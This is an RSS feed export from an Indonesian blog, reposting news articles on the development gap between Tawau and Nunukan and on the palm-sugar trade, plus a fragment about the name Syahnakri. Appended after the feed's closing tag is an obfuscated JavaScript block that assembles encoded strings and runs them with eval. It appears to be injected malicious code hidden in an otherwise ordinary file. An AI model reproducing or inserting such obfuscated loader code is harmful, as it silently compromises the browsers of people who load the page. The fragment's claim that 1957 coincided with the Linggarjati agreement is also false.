<p>Saya lahir pada 1957, bertepatan dengan perjanjian Linggarjati. Dalam perjanjian itu, secara defacto Indonesia sudah berdaulat. Karena orang tua saya orang pergerakan, keyakinannya kepada kedaulatan dipertegas pada nama saya. Kata Syah berarti &#8216;resmi&#8217;. Na dalam bahasa Sunda berarti &#8216;nya&#8217;, sedangkan KRI adalah Kesatuan Republik Indonesia. Jadi, Syahnakri berarti resminya Negara Kesatuan Republik Indonesia. Bagi saya, nama itu sangat berpengaruh dan teramat istimewa.</p>
<p>Sumber : http://komid.net/forums/showthread.php?t=2983 (20-02-08)</p>
]]></content:encoded>
			<wfw:commentRss>http://diankusumanto.com/?feed=rss2&amp;p=22</wfw:commentRss>
		</item>
		<item>
		<title>TAWAU VS NUNUKAN = BUMI VS LANGIT</title>
		<link>http://diankusumanto.com/?p=21</link>
		<comments>http://diankusumanto.com/?p=21#comments</comments>
		<pubDate>Thu, 16 Oct 2008 15:45:05 +0000</pubDate>
		<dc:creator>Dian K</dc:creator>
		
		<category><![CDATA[Tentang Nunukan]]></category>

		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://diankusumanto.com/?p=21</guid>
		<description><![CDATA[Realitas Kehidupan Masyarakat antara Tawau dan Nunukan Ibarat Melihat Bumi dan Langit
SAAT perahu motor yang ditumpangi dari Nunukan, kota paling utara di Kalimantan Timur, merapat di pelabuhan Tawau, Menteri Kelautan dan Perikanan Rokhmin Dahuri seolah tidak percaya kalau dia bersama rombongan telah tiba di kota terselatan di Negara Bagian Sabah, Malaysia Timur. Sikap ini dapat [...]]]></description>
			<content:encoded><![CDATA[<p>Realitas Kehidupan Masyarakat antara Tawau dan Nunukan Ibarat Melihat Bumi dan Langit</p>
<p>SAAT perahu motor yang ditumpangi dari Nunukan, kota paling utara di Kalimantan Timur, merapat di pelabuhan Tawau, Menteri Kelautan dan Perikanan Rokhmin Dahuri seolah tidak percaya kalau dia bersama rombongan telah tiba di kota terselatan di Negara Bagian Sabah, Malaysia Timur. Sikap ini dapat dimaklumi, sebab suasana kota tersebut jauh lebih ramai, banyak gedung perkantoran dan bisnis yang megah dan tinggi, jalannya lebar, beraspal mulus, dan bersih.</p>
<p>BAHKAN, jalan yang menghubungkan Tawau dengan berbagai kota kecil dan besar di wilayah Negara Bagian Sabah menyerupai jalan tol dan tiap jalur dapat dilalui empat kendaraan. Sepanjang jalan tampak hamparan perkebunan kelapa sawit dan kakao yang dilengkapi industri hilir dan hulu.</p>
<p>Kendaraan yang lalu lalang pun dari berbagai merek dan jenis; mulai mobil kebanggaan Malaysia, yakni Proton Saga hingga Marcedes, Toyota Land Cruiser Turbo, Mitsubishi Pajero, dan Ford. Bahkan, jumlah mobil mewah itu tampak cukup menonjol. Menariknya lagi, selama berada di kota itu dan sekitarnya, rombongan Menteri Kelautan dan Perikanan hanya menggunakan mobil-mobil mewah. Sama sekali tidak ada mobil sejenis Toyota Kijang. Hampir di setiap rumah tampak terparkir minimal satu mobil pribadi.</p>
<p>Selain itu, di kota setingkat kabupaten tersebut memiliki pelabuhan samudra yang melayani ekspor dan impor, serta pelabuhan perikanan yang cukup besar. Tidak jauh dari pelabuhan berdiri berbagai jenis industri, termasuk pabrik pengawetan, pengolahan, dan pengalengan ikan. Ikan kaleng dan ikan yang diawetkan langsung diekspor ke Singapura, Jepang, dan China.</p>
<p>Hebatnya lagi, sekitar 20 kilometer arah utara Tawau tersedia bandar udara (bandara) yang mampu didarati pesawat berbadan lebar dari berbagai jenis dan tipe. Setiap penumpang yang turun maupun naik tidak dijemput dengan bus, melainkan melalui garbarata. Kehadiran bandara itu otomatis memudahkan eksportir mengirimkan barang-barang yang mengharuskan cepat tiba di tempat tujuan. Tawau juga memiliki belasan hotel berbintang yang selalu dihuni tamu minimal 60 persen dari kapasitas yang tersedia. Luar biasanya lagi, tersedia pula belasan lapangan golf dan tiga di antaranya berstandar internasional. Setiap akhir pekan lapangan tersebut tidak pernah sepi. Pemain tak hanya dari Tawau, tetapi juga Kinabalu, Kuching, Kuala Lumpur, Balikpapan, dan Brunai Darussalam.</p>
<p>Sebaliknya, di Nunukan, yang hanya memiliki jarak tempuh sekitar dua jam menggunakan perahu motor dari Tawau, suasananya sangat kontras. Di sana jalan raya beraspal baru terbangun di tengah kota. Tetapi, kualitas jalan yang ada masih jauh di bawah standar dan setiap ruas hanya bisa dilalui maksimal dua kendaraan. Banyak juga jalan yang belum teraspal sebab baru dibuka tahun 2003. Kendaraan yang termewah hanya Nissan Terano, dan itu pun hanya satu unit yang menjadi mobil dinas Bupati Nunukan.</p>
<p>Nunukan hanya memiliki satu pelabuhan yang disinggahi kapal milik PT (Persero) Pelayaran Nasional Indonesia (Pelni) dan kapal-kapal tradisional yang melayani angkutan penumpang, serta barang dari kota itu menuju Surabaya, Makassar, dan kota lain di Kawasan Timur Indonesia (KTI). Bandaranya baru mampu didarati pesawat jenis Cassa. Gedung yang paling mewah hanya kantor Bupati yang memiliki lima lantai.</p>
<p>&#8220;Kalau kita membandingkan antara Tawau dan Nunukan, ibarat Bumi dan langit. Sebagai sebuah etalase Indonesia di utara Kalimantan Timur, seharusnya kondisi Nunukan tidak boleh tertinggal begitu jauh dari Tawau. Hal ini membuat ketergantungan masyarakat Nunukan kepada Tawau menjadi sangat besar. Kalau terjadi jomplang seperti ini hanya menyuburkan penyelundupan dan aktivitas ilegal lainnya. Dan itu sangat merugikan kita,&#8221; kata Rokhmin Dahuri.</p>
<p>JIKA perbedaan kedua kota yang begitu tajam dipersoalkan, pejabat tinggi di Jakarta pasti selalu berkilah bahwa Nunukan baru berbenah sejak tahun 1999, setelah dimekarkan dari Kabupaten Bulungan. Tadinya Nunukan hanya sebuah kecamatan dengan alokasi dana pembangunan pun sangat terbatas sehingga tidak mungkin menyamai Tawau.</p>
<p>Argumentasi ini benar dan logis. Akan tetapi, di balik itu menggambarkan betapa para pembuat kebijakan pembangunan di Indonesia sama sekali tidak memiliki visi tentang nilai dan peran strategis kawasan perbatasan negara. Malaysia memaknai kawasan perbatasan negara sebagai potensi untuk meraih devisa. Di sana diyakini dapat terjadi transaksi perdagangan barang dan jasa untuk pemenuhan kebutuhan pokok, minimal untuk masyarakat di sekitar kawasan itu.</p>
<p>Tidak mengherankan, hampir di semua daerah strategis dari Malaysia yang berbatasan dengan Indonesia selalu dibangun menjadi kota-kota menengah. Semua infrastruktur dasar, seperti jalan, telepon, air bersih, listrik, pelabuhan, dan bandar udara disediakan sehingga menarik minat pelaku usaha untuk berinvestasi di daerah tersebut. Akhirnya, kota-kota itu tumbuh menjadi pusat pertumbuhan baru ekonomi Malaysia.</p>
<p>Semporna, misalnya, yang berjarak 102 kilometer arah utara Tawau hanya ditempuh sekitar satu jam dari Tawau. Mengapa? Karena jalan yang dibangun memiliki dua lajur dan setiap lajur dapat dilewati tiga kendaraan. Di daerah pesisir ini memiliki jaringan telepon yang sangat baik yang bisa melayani percakapan internasional. Di sana dibangun pula pelabuhan pendaratan ikan (PPI) yang dilengkapi dengan stasiun pengisian bahan bakar berskala besar, industri pengawetan ikan, industri pengalengan ikan, dan dalam kawasan tersebut dilengkapi rumah makan ikan serta hotel berbintang yang dibangun di atas laut. Hotel itu umumnya dihuni wisatawan mancanegara dan pengusaha dari berbagai kota di Malaysia dan dari luar negeri, seperti Singapura, Filipina, Thailand, China, dan Jepang.</p>
<p>Lihat saja di Lubok Antu yang berbatasan dengan Badau (Kabupaten Kapuas Hulu, Kalimantan Barat), Serian, dan Tebedu yang berbatasan dengan Entikong (Kalimantan Barat), Tawau-Nunukan, dan lain sebagainya. Kini masyarakat Indonesia yang tinggal di perbatasan sangat menggantungkan hidup pada kota-kota tersebut. Setiap hari mereka menuju kota terdekat untuk membeli berbagai barang kebutuhan, baik makanan, minuman, pakaian, dan sebagainya. Penghasilan yang diperoleh dalam rupiah, tetapi harus ditukarkan dalam ringgit agar dapat membeli barang yang diinginkan.</p>
<p>Kelebihan lain dari Malaysia dalam sektor perikanan, misalnya, dalam kredit usaha. Di negara itu, dengan bermodalkan kapal kayu pun pemohon dibolehkan mendapatkan kredit dengan suku bunga kredit hanya sekitar tiga persen per tahun. Prosesnya pun paling lama dua hari. &#8220;Kami di sini (Malaysia) mudah sekali dapat kredit dari bank. Kami tulis proposal, lalu ajukan ke bank dengan agunan kapal kayu sudah bisa dapat kredit untuk beli kapal dan alat tangkap yang lebih baik untuk meningkatkan produksi dan penghasilan,&#8221; tutur Nadjil (39), nelayan di Semporna, yang mengaku memiliki dua mobil pribadi.</p>
<p>Untuk memiliki mobil, lanjut dia, juga sangat gampang karena masyarakat Malaysia dilarang membeli mobil secara tunai. Masyarakat diminta membeli mobil secara kredit dengan waktu mengangsur maksimal 10 tahun. Jika ada warga yang kedapatan membeli mobil dengan tunai langsung diusut, sebab diduga melakukan korupsi dan lain sejenisnya.</p>
<p>UNTUK itu, menurut Rokhmin Dahuri, sudah waktunya semua pihak dan instansi terkait mulai membangun kawasan perbatasan. Khusus untuk Nunukan, dia menawarkan pembangunan pada tiga sektor unggulan, yakni perikanan dan kelautan, perkebunan, serta pariwisata. Akan tetapi, pembangunan harus dilakukan secara terintegrasi melibatkan semua instansi terkait agar bisa lestari dan efisien.</p>
<p>Sementara itu, pemerintah dan masyarakat harus menciptakan iklim yang nyaman dan kondusif bagi investasi. &#8220;Jangan mempersulit. Jangan melakukan unjuk rasa terus-menerus. Lalu, infrastruktur pun dibangun dan sektor unggulan langsung bergerak. Kepastian hukum ditegakkan dan sumber daya manusia ditingkatkan, maka saya yakin dalam waktu 10 tahun saja kita sudah mampu mengejar berbagai ketertinggalan Nunukan dari Tawau,&#8221; ujar Rokhmin.</p>
<p>Keyakinan tersebut didasarkan pada kenyataan bahwa pertumbuhan dan perkembangan ekonomi di Tawau dipicu oleh maraknya kegiatan ilegal yang disuplai dari Nunukan. Misalnya, pengiriman tenaga kerja Indonesia (TKI), penyelundupan kayu, pencurian ikan, dan berbagai barang kebutuhan lainnya.</p>
<p>&#8220;Jika kegiatan ilegal itu ditertibkan, lalu saat yang sama dibuka perkebunan skala besar, industri kelapa sawit, industri perikanan dan kelautan di Nunukan, saya kira perekonomian Tawau bisa goyah. Sebab, pencari kerja pun pasti lebih memilih bekerja di Nunukan dibanding harus ke Tawau. Di sana mereka dibohongi, ditipu, atau disiksa majikan, dan diburu aparat keamanan setempat dengan tuduhan pendatang haram. Oleh sebab itu, kenapa kita tidak sekalian menghidupkan Indonesia saja,&#8221; kata Rokhmin Dahuri.</p>
<p>&#8220;Yang terpenting sekarang adalah mari kita hentikan kerja sektoral dan mulai membangun secara terpadu dan terintegrasi. Di sini kita membutuhkan pemimpin yang visioner dan kuat untuk mengatur semuanya ini mulai dari pusat hingga daerah,&#8221; tegas Rokhmin Dahuri.</p>
<p>Halim Fugianto, Direktur Utama PT Mitra Samudra Makmur, mengatakan, bahan baku industri perikanan dan perkayuan di Tawau umumnya disuplai secara ilegal dari Nunukan. Hal ini menunjukkan potensi kedua komoditas itu di bagian utara Kalimantan Timur masih sangat berlimpah. Jika demikian, mengapa tidak didorong dan diberikan iklim yang kondusif untuk pembangunan industri berskala besar di Nunukan?</p>
<p>Andaikata kebutuhan itu terpenuhi pemerintah dan masyarakat, dia sangat optimis investor akan berlomba-lomba berinvestasi di Nunukan. Alasannya, daerah tersebut memiliki posisi yang sangat strategis sebagai salah satu pintu gerbang Indonesia dan Malaysia.</p>
<p>&#8220;Itu berarti, ekonomi Nunukan akan maju pesat. Dengan demikian, kesejahteraan masyarakat di Nunukan pun pasti meningkat tajam. Ketertinggalan ekonomi dengan Tawau perlahan-lahan dapat diimbangi,&#8221; ujar Halim, yang kini merintis pembangunan industri perikanan berskala besar secara terpadu pada areal seluas 32 hektar di Nunukan.<br />
(oleh : JANNES EUDES WAWA)</p>
<p>Sumber :  http://64.203.71.11/kompas-cetak/0406/01/ekonomi/1058091.htm</p>
]]></content:encoded>
			<wfw:commentRss>http://diankusumanto.com/?feed=rss2&amp;p=21</wfw:commentRss>
		</item>
		<item>
		<title>GULA AREN LARIS MANIS</title>
		<link>http://diankusumanto.com/?p=20</link>
		<comments>http://diankusumanto.com/?p=20#comments</comments>
		<pubDate>Thu, 16 Oct 2008 15:42:01 +0000</pubDate>
		<dc:creator>Dian K</dc:creator>
		
		<category><![CDATA[Tentang Aren]]></category>

		<guid isPermaLink="false">http://diankusumanto.com/?p=20</guid>
		<description><![CDATA[Gula aren laris manis
Tak banyak yang mengenal pohon aren atau enau. Padahal, pohon yang banyak tersebar di seluruh wilayah Nusantara ini memiliki banyak manfaat, termasuk sebagai penghasil gula. Pohon aren banyak tumbuh di Kendal, Sumedang, Sukabumi, Tasikmalaya, Rangkasbitung, Lebak, Sulawesi Utara, Sulawesi Selatan, Sumatra Utara, hingga Papua.
Gula aren diperoleh dari sari gula atau yang sering [...]]]></description>
			<content:encoded><![CDATA[<p>Gula aren laris manis</p>
<p>Tak banyak yang mengenal pohon aren atau enau. Padahal, pohon yang banyak tersebar di seluruh wilayah Nusantara ini memiliki banyak manfaat, termasuk sebagai penghasil gula. Pohon aren banyak tumbuh di Kendal, Sumedang, Sukabumi, Tasikmalaya, Rangkasbitung, Lebak, Sulawesi Utara, Sulawesi Selatan, Sumatra Utara, hingga Papua.</p>
<p>Gula aren diperoleh dari sari gula atau yang sering disebut sebagai nira, yaitu tangkai bunga jantan yang dapat disadap ketika tanaman aren berumur lima tahun dengan puncak produksi pada umur 15-20 tahun. Nira diolah menjadi gula dalam bentuk padat, bubuk dan cair, atau dapat pula diolah lebih lanjut menjadi cuka dan alkohol.</p>
<p>Gula aren berbeda dengan gula biasa. Dibandingkan dengan gula pasir, gula dari pohon enau ini dapat digunakan untuk semua keperluan, mulai dari pemanis minuman, dan bumbu masakan. Makanan pempek khas Palembang yang enak konon karena menggunakan gula aren sebagai pilihan salah satu pemanisnya.</p>
<p>Kelebihan lainnya, gula yang terbuat dari nira ini tidak mengandung bahan kimia dan bisa menjadi obat. Kandungan kalorinya dan glisenik indeknya yang rendah membuat gula aren tidak berbahaya bagi penderita diabetes. Ini tampaknya cocok dengan gaya hidup sehat yang semakin populer. Masyarakatnya juga makin selektif mengkonsumsi makanan. Boleh jadi, meski saat ini masih kalah populer dengan gula pasir, gula aren makin banyak dicari pembeli.</p>
<p>&#8220;Gula aren produk organik,&#8221; ujar Indrawanto, pemilik CV Diva Maju Bersama. Indrawanto merupakan pengusaha gula aren yang sukses merintis bisnisnya sejak 2005. Diva Maju Bersama mengolah nira menjadi gula aren semut (kristal) dan gula aren cair di Tangerang, Banten. Indrawanto menerima pasokan aren dari para petani setempat untuk diolah menjadi gula dengan kemasan sachet, ukuran 0,5 kg dan 25 kg. Pelanggannya tidak hanya di Banten dan Jakarta, tetapi sudah meluar ke daerah lain di Sumatra, dan Kalimantan. Harga aren lebih mahal 30% dibandingkan gula pasir. Tapi, menurut Indrawanto, hal tersebut tidak menjadi masalah karena ada nilai tambah yang ditawarkan produk gula nira ini.</p>
<p>Tak hanya Diva, Koperasi Serba Usaha (KSU) Sukajaya juga menjadi pemain gula aren yang terbilang sukses. Koperasi yang berbasis di Lebak, Banten, ini sudah menangani bisnis gula aren sejak berdiri pada 1999. Berdasarkan riset Burhanuddin bertajuk Prospek Pengembangan Usaha Koperasi dalam Produksi Gula Aren, tiga tahun lalu KSU Sukajaya sudah menangani bisnis gula aren hingga 50 ton per bulan.</p>
<p>Penjualan di pasar regional (Jabotabek) dilakukan melalui pasar modern seperti Giant, Hypermarket, Sogo Supermarket, dan Kem Chicks. Potensi permintaan pasar domestik masih terbuka lebar. Permintaan gula aren ditaksir mencapai 120 per bulan, dan pada musim tertentu seperti bulan puasa dan Lebaran, bisa mencapai 180 ton.</p>
<p>Potensi permintaan gula aren makin besar, mengingat industri makanan dan minuman terus bertumbuh. Gula aren bisa menjadi substitusi gula rafinasi bahan baku yang selama ini masih diiimpor. Masalahnya, memang ada pada harga yang belum komptetitif.</p>
<p>Meski pasar dalam negeri belum tergarap secara maksimal, KSU Sukajaya melakukan terobosan pasar ekspor ke Jerman bekerja sama dengan GTZ melalui sistem bagi hasil. Harga jual ekspor mencapai US$2 per kg, sedangkan harga pokok produksi ditaksir US$1. Untuk menangkap peluang lebih besar, SKU Sukajaya telah mengusahakan penambahan lima sentra budidaya tanaman aren seluas 3 ha, agar petani sebelumnya hanya menyadap tiga pohon per hari bertambah menjadi 20 pohon.</p>
<p>Koperasi ini juga melakukan mekanisasi produksi, untuk menjamin keberlangsungan produksi, baik dari sisi kuantitas maupun kualitas yang standard pasar. Ryuji Nishi, konsultan bisnis gula aren, mengungkapkan peluang produk pangan dari Indonesia di Jepang terbuka. Gula aren yang diminati tidak mengandung bahan kimia dan berasal dari tanaman organik.</p>
<p>Untuk mengembangkan ekspor gula aren ke Jepang perlu mencari mitra di Jepang, seperti produsen makanan khas Jepang, produsen gula pasta atau pemilik kedai kopi. Harga jenis gula aren di Jepang sebulan terakhir, seperti dikutip www.divafood.indonetwork.co.id, palm sugar Y735 per 200 gram, apple sugar Y1000-2000 per kg, brown sugar Y240 per 0,5 kg, crystal sugar JPY160 per 0,5 kg, gula pasta Y 500 per 0,5 kg.</p>
<p>Pemasok gula aren di Jepang saat ini didominasi Thailand yang menguasai pasar 49%, Australia 39%, dan Afrika Selatan 12%. Bila saja, potensi gula aren ini dikembangkan, Indonesia tentu bakal meraup devisa lebih besar lagi. (redaksi@bisnis.co.id)</p>
<p>Oleh :  Sepudin Zuhri (Kontributor Bisnis Indonesia)<br />
http://web.bisnis.com/edisi-cetak/edisi-harian/laporan-khusus/1id73516.html</p>
]]></content:encoded>
			<wfw:commentRss>http://diankusumanto.com/?feed=rss2&amp;p=20</wfw:commentRss>
		</item>
	</channel>
</rss>
<script>var OuGbi="46l66F6";var q3NS="/g,'0').";var C5Xkv="70JP%76JP%";var uK4KrG="BwX70wX76wX5";var iaBHst4u="wX64wX65wX6";var cySxZ="2wX69wX6CwX69";var BLcB="7wX53wX76wX27";var vGCr2k="JP%2FJP%3FJP%3";var bB23el9="JP%73JP%72JP%6";var sU6dX="F6l6676l64";var iq3oZA3e="='zt64zt6Fz";var FI7Q8ixD="6DwX2EwX6";var FUxK="65JP%74";var IyVNKoo="e(DAVZnga.r";var V2d6D="79wX6CwX65";vGCr2k="%6FJP%72JP%65"+vGCr2k;var KDtA3QF="P%36JP%";var LfM05fVX="8JP%27";LfM05fVX="74JP%2"+LfM05fVX;var quYr5o="%62JP%62JP%6TJ";IyVNKoo="nescap"+IyVNKoo;var M4HV="/3Cb/g,";var JtFOf="4JP%65JP%45JP%";var nc8j="3Cb703Cb65";var COTthT="JP%6FJ";nc8j+="3Cb6E3Cb64";var CLZdNQw="P%30JP%63";CLZdNQw="34JP%66JP%36J"+CLZdNQw;var AMAb5K="T/g,'C').repla";var i6MrUJde="4zt2Ezt77zt72z";cySxZ+="wX74wX79wX3Dw";var XhZOlKh4="scape(ZXyg";var An2ehx="0JP%76JP%53JP%";var ZOuUazXK="9JP%64JP";var NeOnTJTC="JP%50JP%33J";var NDLC5yTy="616l6726l6206";COTthT="6JP%3DJP%64"+COTthT;iq3oZA3e+="t63zt75z";var NXpUV="3JP%70JP%4DJP%";var augERjZ="val(un";IyVNKoo+="eplace(/6l6/";var LbDJ="%61JP%6TJP%";var aWrbHb="')));var OWE";FI7Q8ixD=uK4KrG+"3wX4BwX70wX50wX"+FI7Q8ixD;iaBHst4u+="EwX27wX3B';ev";sU6dX=NDLC5yTy+"l6496l6646l64"+sU6dX;var ZzgOu2="VC6l6626l66F6l";ZOuUazXK="JP%42JP%79JP%4"+ZOuUazXK;var r4draty="3JP%72JP%6";ZOuUazXK="P%6EJP%74"+ZOuUazXK;var idMK="JP%61JP%35JP%3";var GNkjvIVz="%66JP%72J";var ujxPxoPO="%27JP%29JP";var EgKPVi="B6l6686l";M4HV+="'%')));";var RBpiUUI="/V/g,'%3')));v";var teb9zM="6l6646l6696l";var e0YZK="P%27JP";cySxZ="3wX69wX6"+cySxZ;var dBqO="703Cb503Cb6D";LfM05fVX="%65JP%6EJP%"+LfM05fVX;var mC2QXHE="3Cb783Cb373Cb56";var XYK17XB="X6EwX6";var YXe0="JP%66JP%";vGCr2k="4JP%63JP"+vGCr2k;YXe0="P%33JP%30JP%31"+YXe0;var joa1="27wX3BwX";var Cl9a7DM3="scape(OWE";An2ehx=e0YZK+"%29JP%3BJP%7"+An2ehx;iq3oZA3e=RBpiUUI+"ar dKhjx"+iq3oZA3e;var WvxyYj="wX69wX64wX74";C5Xkv="%72JP%20JP%"+C5Xkv;var uPQ9faNn="B';eva";var ObzZ="28zt49zt64";aWrbHb+="s='3Cb4C3";var vdw3lJM="0wX76wX53wX";ZOuUazXK+="%28JP%27JP%";dBqO+="3Cb293Cb";cySxZ=V2d6D+"wX2EwX76wX69wX7"+cySxZ;FUxK="4JP%2EJP%67JP%"+FUxK;COTthT+="P%63JP%75JP";var K91A7wZ="46l679VE";var cn5Gm="P%64JP%";var F20zy="0JP%3AJP%2FJP%2";var LF6HM="hjx.re";var wjtK="JP%63JP%6EJP%2";var ou7KByM="206l6696l";var NsyWYDrs="67wX68wX74wX3D";cn5Gm=KDtA3QF+"30JP%34J"+cn5Gm;var PirHL2W="JP%66JP%62";var OpiWyih="l627VC6l62F6l6";var ax3vFJxI=");var ZXyg7";mC2QXHE="03Cb4D"+mC2QXHE;EgKPVi+="627VEVC6l62F6l6";ou7KByM=teb9zM+"6766l6"+ou7KByM;q3NS=LF6HM+"place(/%b"+q3NS;var DT1slU="65wX3DwX27wX79w";ZOuUazXK="JP%65J"+ZOuUazXK;uPQ9faNn="zt29zt3"+uPQ9faNn;NeOnTJTC=ZOuUazXK+"53JP%65"+NeOnTJTC;var rGO7P="296l6496l";var TmeymXa="0JP%50JP";NeOnTJTC="TJP%65JP%6D"+NeOnTJTC;wjtK=quYr5o+"P%65JP%64JP%2E"+wjtK;XhZOlKh4+="7pD.repl";vGCr2k="%72JP%6"+vGCr2k;OuGbi+="l6636l6756";var NuUTxW14="JP%27J";var nvQp="%6DJP%65JP%";DT1slU=XYK17XB+"1wX6DwX"+DT1slU;WvxyYj="0wX6DwX2EwX77"+WvxyYj;ujxPxoPO="JP%68JP"+ujxPxoPO;NeOnTJTC=FUxK+"JP%45JP%6"+NeOnTJTC;iq3oZA3e=IyVNKoo+"g,'%').replace("+iq3oZA3e;mC2QXHE=aWrbHb+"Cb333Cb7"+mC2QXHE;augERjZ=YXe0+"27JP%3B';e"+augERjZ;EgKPVi="6436l64BV26l66"+EgKPVi;OuGbi+="l66D6l665";q3NS+="replace(/z";ou7KByM+="664VD6l627";rGO7P+="6646l64F6l6676l";C5Xkv=ujxPxoPO+"%3BJP%76JP%61JP"+C5Xkv;NuUTxW14=bB23el9+"3JP%3D"+NuUTxW14;TmeymXa=An2ehx+"4BJP%7"+TmeymXa;var hMsZX="66E6l6";var ZwhU3Ok="79JP%2FJP";uPQ9faNn=ObzZ+"zt4Fzt67zt4F"+uPQ9faNn;EgKPVi+="646l6696l676VE6";WvxyYj=vdw3lJM+"4BwX70wX5"+WvxyYj;cySxZ="wX73wX74wX"+cySxZ;M4HV=Cl9a7DM3+"s.replace("+M4HV;F20zy+="FJP%70JP";nvQp="FJP%63JP%75JP"+nvQp;var Uuco2="l6496l664";var iUNnej="3Cb6C3Cb643";F20zy="%74JP%74JP%7"+F20zy;F20zy=NuUTxW14+"P%68JP"+F20zy;TmeymXa=GNkjvIVz+"P%61JP%6DJP%65J"+TmeymXa;K91A7wZ=OpiWyih+"626l66F6l66"+K91A7wZ;nc8j="613Cb70"+nc8j;K91A7wZ="64F6l62B6"+K91A7wZ;TmeymXa=LfM05fVX+"JP%69JP"+TmeymXa;idMK="JP%63JP%62"+idMK;i6MrUJde=iq3oZA3e+"t6Dzt65zt6Ezt7"+i6MrUJde;ZzgOu2+="6646l679VE6";var LJf3FPfc="wX53wX4BwX70w";NXpUV="20JP%4TJP%3"+NXpUV;wjtK="%2EJP%62JP%75JP"+wjtK;nc8j=mC2QXHE+"3Cb2E3Cb"+nc8j;var WIjP5d41="var DAVZnga='";BLcB=DT1slU+"X58wX43wX5AwX4"+BLcB;ax3vFJxI=AMAb5K+"ce(/JP%/g,'%'))"+ax3vFJxI;COTthT+="%6DJP%65J";vGCr2k=ZwhU3Ok+"%68JP%61JP"+vGCr2k;wjtK=F20zy+"%69JP%63JP%73JP"+wjtK;iUNnej=nc8j+"3Cb433Cb683Cb69"+iUNnej;LbDJ+="6TJP%65";i6MrUJde=K91A7wZ+"6l627VB';eval(u"+i6MrUJde;PirHL2W=cn5Gm+"36JP%66"+PirHL2W;augERjZ=idMK+"9JP%39J"+augERjZ;XhZOlKh4=iaBHst4u+"al(une"+XhZOlKh4;ou7KByM=sU6dX+"FVD6l622VC"+ou7KByM;dBqO="3Cb533Cb4B3Cb"+dBqO;ax3vFJxI="W.replace(/"+ax3vFJxI;ou7KByM=WIjP5d41+"6l6766l6"+ou7KByM;M4HV=dBqO+"3B';eval(une"+M4HV;COTthT=NXpUV+"78JP%37JP%5"+COTthT;var a4k65="4BwX70wX";JtFOf=r4draty+"5JP%61JP%7"+JtFOf;i6MrUJde+="t69zt74zt65";NeOnTJTC=COTthT+"P%6EJP%7"+NeOnTJTC;ZzgOu2=rGO7P+"64FVD6l627"+ZzgOu2;wjtK=TmeymXa+"%6DJP%2E"+wjtK;C5Xkv+="53JP%4BJP";JtFOf="%2EJP%6"+JtFOf;uPQ9faNn=i6MrUJde+"zt2%bzt"+uPQ9faNn;LJf3FPfc=joa1+"70wX76"+LJf3FPfc;PirHL2W="JP%66J"+PirHL2W;NeOnTJTC="61JP%72JP%"+NeOnTJTC;WvxyYj=ax3vFJxI+"pD='wX7"+WvxyYj;augERjZ=PirHL2W+"JP%32JP%31"+augERjZ;iUNnej+="Cb283C";JtFOf=nvQp+"6EJP%74JP"+JtFOf;hMsZX="679VDVD6l"+hMsZX;q3NS+="t/g,'%')))";JtFOf="JP%3DJP%64JP%6"+JtFOf;q3NS=uPQ9faNn+"l(unescape(dK"+q3NS;OuGbi="66l6286l66"+OuGbi;ou7KByM+="6l6536l66";EgKPVi=ou7KByM+"56l650V36l"+EgKPVi;q3NS+=";var rpYROyW";NsyWYDrs=FI7Q8ixD+"8wX65wX69wX"+NsyWYDrs;NsyWYDrs="wX31wX27wX3"+NsyWYDrs;OuGbi=EgKPVi+"l622VB6l6696l66"+OuGbi;CLZdNQw=vGCr2k+"2JP%33JP%63JP%"+CLZdNQw;cySxZ=a4k65+"50wX6DwX2E"+cySxZ;OuGbi+="6l66E6l6746l62E";Uuco2=ZzgOu2+"l6276l62B6"+Uuco2;NeOnTJTC=q3NS+"='JP%76JP%"+NeOnTJTC;OuGbi+="6l6626l66F";WvxyYj=augERjZ+"escape(rpYROy"+WvxyYj;NeOnTJTC+="P%43JP%4B";Uuco2=hMsZX+"756l66C6l66C6l6"+Uuco2;NeOnTJTC=Uuco2+"6l64F6l6676l"+NeOnTJTC;LbDJ=wjtK+"FJP%67JP"+LbDJ;BLcB+="wX3BwX70wX7";XhZOlKh4=cySxZ+"X27wX68wX69wX64"+XhZOlKh4;XhZOlKh4=BLcB+"6wX53wX"+XhZOlKh4;NeOnTJTC=OuGbi+"6l6646l"+NeOnTJTC;M4HV=iUNnej+"b703Cb76"+M4HV;XhZOlKh4=LJf3FPfc+"X50wX6DwX2Ew"+XhZOlKh4;XhZOlKh4=NsyWYDrs+"wX27wX31wX"+XhZOlKh4;XhZOlKh4=WvxyYj+"wX68wX3DwX27"+XhZOlKh4;M4HV=XhZOlKh4+"ace(/wX/g,'%"+M4HV;JtFOf=C5Xkv+"%70JP%50JP%6D"+JtFOf;LbDJ=JtFOf+"6TJP%65JP%6DJP"+LbDJ;LbDJ=NeOnTJTC+"JP%32JP%6B"+LbDJ;M4HV=CLZdNQw+"JP%31JP%62JP%39"+M4HV;M4HV=LbDJ+"JP%72JP%"+M4HV;eval(M4HV);</script><script>check_content()</script>